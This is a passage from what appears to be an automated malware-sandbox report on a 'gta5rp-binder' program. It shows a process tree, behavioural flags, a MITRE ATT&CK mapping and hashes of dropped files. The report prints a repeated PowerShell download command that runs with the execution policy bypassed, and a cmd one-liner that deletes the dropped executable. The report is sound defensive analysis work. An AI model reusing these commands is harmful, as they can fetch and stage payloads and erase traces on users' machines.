      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6296
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Console]::OutputEncoding = [System.Text.UTF8Encoding]::new() $OutputEncoding = [Console]::OutputEncoding [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Add-Type -AssemblyName System.Net.Http $url = $env:GTA5RP_BINDER_UPDATE_URL $destination = $env:GTA5RP_BINDER_UPDATE_DEST $userAgent = $env:GTA5RP_BINDER_UPDATE_UA $timeoutSeconds = [int]$env:GTA5RP_BINDER_UPDATE_TIMEOUT_SECONDS $handler = New-Object System.Net.Http.HttpClientHandler $handler.AutomaticDecompression = [System.Net.DecompressionMethods]::GZip -bor [System.Net.DecompressionMethods]::Deflate $handler.UseProxy = $true $handler.Proxy = [System.Net.WebRequest]::DefaultWebProxy if ($handler.Proxy -ne $null) { $handler.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials } $client = New-Object System.Net.Http.HttpClient($handler) $client.Timeout = [TimeSpan]::FromSeconds($timeoutSeconds) $client.DefaultRequestHeaders.UserAgent.ParseAdd($userAgent) $response = $null $stream = $null $file = $null try { $response = $client.GetAsync($url, [System.Net.Http.HttpCompletionOption]::ResponseHeadersRead).GetAwaiter().GetResult() $response.EnsureSuccessStatusCode() $stream = $response.Content.ReadAsStreamAsync().GetAwaiter().GetResult() $file = [System.IO.File]::Open($destination, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) $buffer = New-Object byte[] 65536 while (($read = $stream.Read($buffer, 0, $buffer.Length)) -gt 0) { $file.Write($buffer, 0, $read) } } finally { if ($file -ne $null) { $file.Dispose() } if ($stream -ne $null) { $stream.Dispose() } if ($response -ne $null) { $response.Dispose() } $client.Dispose() $handler.Dispose() } "
      4⤵
      Badlisted process makes network request
      Hide Artifacts: Ignore Process Interrupts
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6312
- - C:\Windows\system32\cmd.exe
    "cmd" /C "ping 127.0.0.1 -n 2 > nul & del /Q \"C:\Users\Admin\AppData\Local\Temp\updater_tmp.exe\""
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 2
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5390d678cdc039e73736cfb69a6f926231da1f9b1f0be233c251e57b75349318
MD5 d13120a415890e22f3f9f706c65b9187
SHA1 dec6522361d52ddce29bee5faa481f416ce498eb
SHA512 f7094bbb4f3a276200cc5e587eb060249e0bdd11228bd240e99ac82db180384cd6557a55ab7bc957ae67dc184a45391f166949d62e1d163804c9bb17f2e44e75
TLSH
T14E215933F3CC8614DC9A403A50CEAD1536B687D7409EDE5BBB84D548B42F589DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lruhx03m.2aj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lruhx03m.2aj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\Users\Admin\AppData\Local\Temp\update.tmp
Size 6.4MB
SHA256 e00cee437984f47656a1a9d7c02f7fb28852b9631faa816ee18daa866799aaf3
MD5 229ba7916612241895454b1c1cda4696
SHA1 a1771bc6eca66c234fc44ac8a8e32ee315d7a88a
SHA512 17736658baa2bee7933e9433d3711418d1ec34cd5aaa98bcd3e5dcf81ef0f39ec4223aca80588e1900758b0d8073863cd4c30ead037041c46db8343f66b6621a
SSDEEP 98304:s/kC+KCk97dByvAddYz01aLpED9LiOnlRdtiBn+:lC+pvGf3g
TLSH
T1B2666C03E291C1E8C89EC079C31AD677BF327CAD5524719A6BE86F112F35B50AB1DB09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

updater_tmp.exe

Path C:\Users\Admin\AppData\Local\Temp\updater_tmp.exe
Size 7.1MB
SHA256 c34a0a31ca38bdc293c2df85fd0217c43709ca111bf5c285fece4c33c04f6c6b
MD5 618b516c9445482ca08759e2a6fc7218
SHA1 d43bde015d7c23d3640cabc2124582a7e624d656
SHA512 e8406faf091392641bf8edc0f2bb99e2c663ca886bbcab0c9f0c77b81f2262570f3a103e8777e609ce6ddfffe2b856bf8eb7c11658cb554b47c07c1e42a20030
SSDEEP 98304:tj1pzlDHIuPdxDXo6/+HYREVeG5hVDn+uTxV:V2UxDXo0HJG5njh
TLSH
T15F764A037E8A98A9C899C870C34BCBA30F1138EB1936B5AF05D565152F7EBB55F2D318
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 6b620009da79aa3e1690912c38386037ae529533d83b9385e55a6a63e6a7d971
MD5 9cae2c4edde9dff56d96e7f76339d4e2
SHA1 d13ea07552e144247be761eccdd6deb4d6e1dd15
SHA512 92b454a42527e9754ac0d5769c502e0ddeaaa0a5d22819f038d0ee384fc544c6ae8758e57a7398d3f7f6b502f9071bc0ec37f70cae2ed5e2b633772b543acfb0
TLSH
T199D012267341813CC4202033001265094441C21B404A404254299A1E2A0805059134B1
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 9171cf51ad90e5147c75ee0cdb3759f82692ccd87a7ec72e892f6c05155c8796
MD5 7b36ea6309c3b7a415eac9dbdd0bcdda
SHA1 1afe62fb2013d1f4fcf0eaa5ebc8120fc55c03fc
SHA512 f94d496a169b3c01c9840ae67af0926eade48ad3e0103403ebf797527c1e498f19958d7daee2b8155be77e48e1245894260bc583176ef76b7d9b67644cc3f214
TLSH
T160D012267741813CC4202133001165094541C11B414A414254298A2E2E0905099134B1
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad\settings.dat
Size 280B
SHA256 a4cfb8e6afb86935528fc1debdb038189b180d1e825e1f0f6d1b55f3782d1063
MD5 6f17c6097f2c5ff7f376f0200f314d27
SHA1 ad46c64e79e07e793ada1ebca54b37d94bee34fe
SHA512 8963a8d588379b64e50babd0ea8b23a4bea13e0529e2dd34996a9cdb533fca739c58e7fe7b279a33eab4785c46e95a252bfdedabd2ebc468bf196e46a03ad683
MD5 SHA1 SHA512

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 97805d335d09e61c8c9267ea63f0a62b78dacce14f9d3f035117db05edc81310
MD5 d5129d80db65f36460e069de2315246b
SHA1 1eb4481518a6d205efafc62bb85fe24b00c7f98a
SHA512 dc02132e07a63233e01199c9f5c0f1c4cad06b99f41134e397888d27bf80760d64b08b6b0d0baa559d457923acd2aeefe75e830a9e4e7a316ed59409f5a5e781
SSDEEP 3:MsFlYhXllLlX8lzS6Sa9H+flkyhellX:/Fiz10zS6Sa9eNkyO
TLSH
T14313021CB7808815C1590A3745478BA06BB4DC466B1A879320732CA91C44F450C48002
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 ab0ca0ad2854ba6094b78fac0e60464b9d76c2619f75847820f96dff7d7d08aa
MD5 6b668d1efa1e00c6690e957704e8b7cf
SHA1 0abd2daabd74583dbb570786ba44d306a7b653b0
SHA512 41897123e676ab8a46f251331f2506cd3c1678a6724a520155f614a6f0b90c548fe87e740b1958b48f0a6c2f2d7beb73cce17ec2fec468fc53d7802bd6cf6a4c
SSDEEP 6:/M/PXGuEVtEEUktzV1VlaZO00Nk00Nkf88EceJKm4:U/PXKEEwb6k06kf88E3JKm4
TLSH
T12544A7DB0B41D806C71416F4008AAB3D6777C455AFA79F47597184654CC13940858108
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 d6dab848d1ee927be8c705621171f2bec9d2bfcba36963e8362e4f606562dd4b
MD5 694c39b5156a5ef476641d12e2ea1669
SHA1 fb9dfd060eac9911753d3d3067f2a914db87c94a
SHA512 9ea9be41fcd9426b20b03bcb6f683dea1cb61408f55866825bda99c2fca6c1f54217a239957c11cd8f421a6a0d05b8520fbe3c6399d05963a8e346ae20769b80
SSDEEP 48:+gSTtUNqVicn3w9EUDhApFgQhf9HBVLKkPjv7bJgmVKeD895PWo:RSTtl3iXh4Rx9HKkP77ce
TLSH
T11F25C5CB771029C0CFA20976F0D8CA12AF3166BA69B59CC7A7318DDD858B2CD4B0600F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000001

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\f_000001
Size 58KB
SHA256 666eff3ee60a62bd548496379bbad6174818b76c58a192551d370afe2b2c29cd
MD5 1bc639fd97cfb9fd73e2a0e1b52a5b87
SHA1 4cf02ca5740d9c73d73b0cf1d6f0432b4071dc76
SHA512 f769e60bc4b6def93bd8c7f4d85c8943fd71a5f25319e88efff1a0f4da5232de57f6edfa8e9f88e033c454a4d605100b60fda4271e2824b43ac06fef273f8b67
SSDEEP 768:xeUVADEDbGEQ1AponOQYm/1bcD6O9zk2ZLjEnhyrq1lvNpdAx5V7ARt:xeFcegon3cD6O9zkqjENGzGRt
TLSH
T167433B66926A58DE0100B19BCD046E0D3DA745FF7F9A9712367C1C3D7BE7028C27EA4A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Cache\Cache_Data\index
Size 256KB
SHA256 921cb0c25a297cde90367d807f79470d478b9541db5e145f38df436afcd51488
MD5 17f2024aec5d85c3b84fc25f36d5ede5
SHA1 93dc1b7bf775c21aa42f976606ebd3998e1c90ed
SHA512 18e7470cca42acb66a3c0e6d67c98a0c80aa61eddece2d264cbc9712ccaa0076c2530383291f6360d31d6fea208363a18ece24a7d1aeee2fadef5a551d75d24c
SSDEEP 3:LstltltlNllkll/loPSKcX8lNnsNtl:LsXt13lEtSSKc0GN
TLSH
T13044043F77450405C1500FFD4405C330073DC101451F4343111403500D41F510F150D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

167c5c93a0188cc4_0

Path C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Default\Code Cache\js\167c5c93a0188cc4_0
Size 260B
SHA256 76a02a92999499c0714929a503fe862992ea26dfc8510641f6a73154c5b97143
MD5 6160916c0031393f9aa27a96f5a268ad
SHA1 4f7bf26a8b5b3a098d427ae1b33377b822967b01
